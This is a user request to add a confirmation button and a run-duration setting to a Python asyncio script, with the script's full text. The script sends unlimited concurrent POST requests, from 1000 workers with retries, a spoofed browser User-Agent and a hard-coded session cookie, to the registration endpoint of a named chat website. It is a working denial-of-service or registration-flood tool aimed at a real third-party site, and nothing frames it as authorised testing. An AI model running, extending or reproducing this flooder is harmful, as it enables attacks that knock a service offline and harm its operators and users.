add an are you are button to fire and then an amount of time to run for


import asyncio
import aiohttp
import time
from aiohttp import ClientSession, ClientConnectorError, ClientResponseError, TCPConnector
import signal
import sys
import logging

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

# Configuration Parameters
URL = "https://furrychat.net/chat/system/box/registration.php"
HEADERS = {
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/130.0.0.0 Safari/537.36"
    ),
    "Cookie": (
        "PHPSESSID=a0egur4jmuetnvdktqmbkphhst; domain=furrychat.net; path=/"
    )
}
DEFAULT_CONCURRENCY = 1000  # Consider making this configurable
TIMEOUT = aiohttp.ClientTimeout(total=5)
RETRY_LIMIT = 3  # Number of retries for failed requests
QUEUE_SIZE = 5000  # Maximum number of pending requests in the queue
REPORT_INTERVAL = 5  # Seconds between performance reports

# Counters for monitoring
success_count = 0
failure_count = 0
total_response_time = 0.0

# Synchronization primitive for counters
counter_lock = asyncio.Lock()

# Flag to stop the producer and workers gracefully
stop_event = asyncio.Event()

async def send_request(session: ClientSession, request_id: int):
    global success_count, failure_count, total_response_time
    backoff = 0.1
    for attempt in range(1, RETRY_LIMIT + 1):
        try:
            start = time.time()
            async with session.post(URL, headers=HEADERS, timeout=TIMEOUT) as response:
                response_time = time.time() - start
                async with counter_lock:
                    total_response_time += response_time
                    if response.status == 200:
                        success_count += 1
                        logger.debug(f"Request {request_id} succeeded.")
                    else:
                        failure_count += 1
                        logger.debug(f"Request {request_id} failed with status {response.status}.")
                # Exit the retry loop regardless of the response
                break
        except (ClientConnectorError, ClientResponseError, asyncio.TimeoutError, aiohttp.ClientOSError) as e:
            async with counter_lock:
                failure_count += 1
            logger.debug(f"Request {request_id} failed on attempt {attempt}: {e}")
            if attempt >= RETRY_LIMIT:
                logger.error(f"Request {request_id} failed after {RETRY_LIMIT} attempts.")
                break
            await asyncio.sleep(backoff)
            backoff *= 2  # Exponential backoff

async def worker(name: int, session: ClientSession, queue: asyncio.Queue):
    while not stop_event.is_set():
        try:
            request_id = await asyncio.wait_for(queue.get(), timeout=1.0)
        except asyncio.TimeoutError:
            continue  # Check for stop_event periodically
        if request_id is None:
            queue.task_done()
            break
        await send_request(session, request_id)
        queue.task_done()

async def producer(queue: asyncio.Queue):
    request_id = 0
    while not stop_event.is_set():
        try:
            await queue.put(request_id)
            request_id += 1
        except asyncio.CancelledError:
            break
        except Exception as e:
            logger.error(f"Producer encountered an error: {e}")
            break

async def report():
    last_success = 0
    last_failure = 0
    last_total_response_time = 0.0
    start_time = time.time()
    while not stop_event.is_set():
        await asyncio.sleep(REPORT_INTERVAL)
        async with counter_lock:
            current_success = success_count
            current_failure = failure_count
            current_total_response_time = total_response_time
        interval_success = current_success - last_success
        interval_failure = current_failure - last_failure
        interval_response_time = current_total_response_time - last_total_response_time
        elapsed = time.time() - start_time
        avg_response_time = (interval_response_time / interval_success) if interval_success > 0 else 0
        logger.info(
            f"[Report] Time Elapsed: {elapsed:.2f}s | "
            f"Success: {current_success} (+{interval_success}), "
            f"Failure: {current_failure} (+{interval_failure}), "
            f"Avg Response Time: {avg_response_time:.2f}s"
        )
        last_success = current_success
        last_failure = current_failure
        last_total_response_time = current_total_response_time

async def main(concurrency=DEFAULT_CONCURRENCY):
    global success_count, failure_count, total_response_time
    connector = TCPConnector(
        limit=0,  # Remove the limit to allow maximum concurrency
        ssl=True,  # Enable SSL verification
        keepalive_timeout=30
    )
    async with aiohttp.ClientSession(connector=connector) as session:
        queue = asyncio.Queue(maxsize=QUEUE_SIZE)

        # Start worker tasks
        workers = [
            asyncio.create_task(worker(i, session, queue))
            for i in range(concurrency)
        ]

        # Start producer task
        producer_task = asyncio.create_task(producer(queue))

        # Start reporting task
        reporter = asyncio.create_task(report())

        # Setup signal handlers for graceful shutdown
        loop = asyncio.get_running_loop()

        def shutdown():
            logger.info("Received stop signal. Initiating shutdown...")
            stop_event.set()

        try:
            for sig in (signal.SIGINT, signal.SIGTERM):
                try:
                    loop.add_signal_handler(sig, shutdown)
                except NotImplementedError:
                    # Signal handlers are not implemented on some systems (e.g., Windows)
                    loop.call_soon_threadsafe(shutdown)
        except Exception as e:
            logger.error(f"Failed to add signal handler: {e}")
            shutdown()

        # Wait for the stop_event to be set
        await stop_event.wait()

        # Stop producer
        producer_task.cancel()
        try:
            await producer_task
        except asyncio.CancelledError:
            logger.info("Producer task cancelled.")

        # Wait until the queue is fully processed
        await queue.join()

        # Stop workers
        for _ in workers:
            await queue.put(None)
        await asyncio.gather(*workers, return_exceptions=True)
        logger.info("All worker tasks have been cancelled.")

        # Stop reporter
        reporter.cancel()
        try:
            await reporter
        except asyncio.CancelledError:
            logger.info("Reporter task cancelled.")

if __name__ == "__main__":
    start_time = time.time()
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        logger.info("Process interrupted by user.")
    finally:
        end_time = time.time()
        logger.info(f"Total runtime: {end_time - start_time:.2f} seconds")
        logger.info(f"Total Successful Requests: {success_count}")
        logger.info(f"Total Failed Requests: {failure_count}")